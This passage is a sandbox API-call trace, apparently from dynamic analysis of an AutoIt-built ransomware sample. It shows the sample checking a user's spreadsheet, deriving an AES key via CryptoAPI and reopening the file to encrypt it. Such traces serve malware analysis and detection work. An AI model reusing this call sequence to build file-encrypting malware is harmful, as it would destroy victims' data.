lpMsg=0xe8f3dff160) returned 0 [0025.948] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.949] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.949] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.949] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.949] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.949] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.949] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.950] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41784c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.950] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.950] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zBza.xlsx", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0025.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zBza.xlsx", cchWideChar=41, lpMultiByteStr=0xe8f404ba10, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zBza.xlsx", lpUsedDefaultChar=0x0) returned 41 [0025.951] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\zBza.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\zbza.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=41, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0025.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=41, lpWideCharStr=0xe8f406a370, cchWideChar=41 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zBza.xlsx") returned 41 [0025.951] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.952] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.952] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.952] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.952] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.953] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.953] CloseHandle (hObject=0x188) returned 1 [0025.953] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.953] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.953] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.953] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.953] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.953] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.953] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.953] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.953] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.953] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.953] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.953] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.953] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.954] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.954] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.954] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.954] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.954] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.954] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.954] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.954] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.955] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.956] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.956] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.956] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.957] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.958] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.958] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.958] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.958] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.958] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.959] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.959] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.959] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.959] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.960] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.960] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.960] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.960] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.961] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.961] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.961] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.961] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.961] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.961] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.961] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b450, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.962] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.962] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.962] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.962] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.962] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.962] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.964] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.964] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.964] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4061c30) returned 1 [0025.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.966] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.966] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.966] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417ad40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0025.966] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0025.966] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0025.968] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.969] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\zBza.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\zbza.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.969] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.969] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 